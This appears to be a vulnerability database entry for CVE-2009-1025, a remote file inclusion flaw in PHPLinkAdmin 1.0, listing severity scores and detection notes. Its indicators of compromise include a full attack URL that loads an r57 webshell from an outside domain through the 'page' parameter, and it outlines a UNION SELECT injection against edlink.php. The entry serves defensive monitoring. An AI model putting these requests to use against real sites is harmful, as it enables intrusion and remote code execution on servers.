CVE-2009-1025

published 2009-03-20

CVE-2009-1025: PHP remote file inclusion vulnerability in linkadmin.php in Beerwin PHPLinkAdmin 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the…

Priority P3 55 high 7.5 CVSS 2.0

AV N AC L Au N C P I P A P

EXPLOIT

PHP remote file inclusion vulnerability in linkadmin.php in Beerwin PHPLinkAdmin 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
beerwin	phplinkadmin	—	—

Detection & IOCs extracted from sources · hover to see the quote

url http://127.0.0.1/path/linkadmin.php?page=http://www.kortech.cn/bbs//skin/zero_vote/r57.txt?↗

domain www.kortech.cn↗

path /bbs//skin/zero_vote/r57.txt↗

filename r57.txt↗

path /path/linkadmin.php↗

• → Monitor HTTP requests to linkadmin.php where the 'page' parameter contains an external URL (http:// or https://), indicating a Remote File Inclusion attempt. ↗
• → The RFI payload appends a trailing '?' to the remote URL to nullify any local file extension appended by the include statement — detect this pattern in the 'page' parameter value. ↗
• → The vulnerable include is triggered without authentication ('Direct acces to linkadmin.No auth.'); alert on any unauthenticated access to linkadmin.php with a non-empty 'page' parameter. ↗
• → Detect SQL injection attempts against edlink.php via the 'linkid' parameter, specifically payloads using UNION SELECT with concat_ws to extract user(), database(), and version(). ↗
• → The r57 webshell (r57.txt) is the payload delivered via RFI; presence of r57.txt or r57.php on the filesystem or in web logs is a strong indicator of compromise. ↗

• · The vulnerable code uses $_REQUEST['page'] with no sanitization or authentication check, meaning the RFI is exploitable by any unauthenticated remote attacker. ↗
• · The SQL injection in edlink.php also uses $_REQUEST['linkid'] with no sanitization, making it exploitable without authentication as well. ↗

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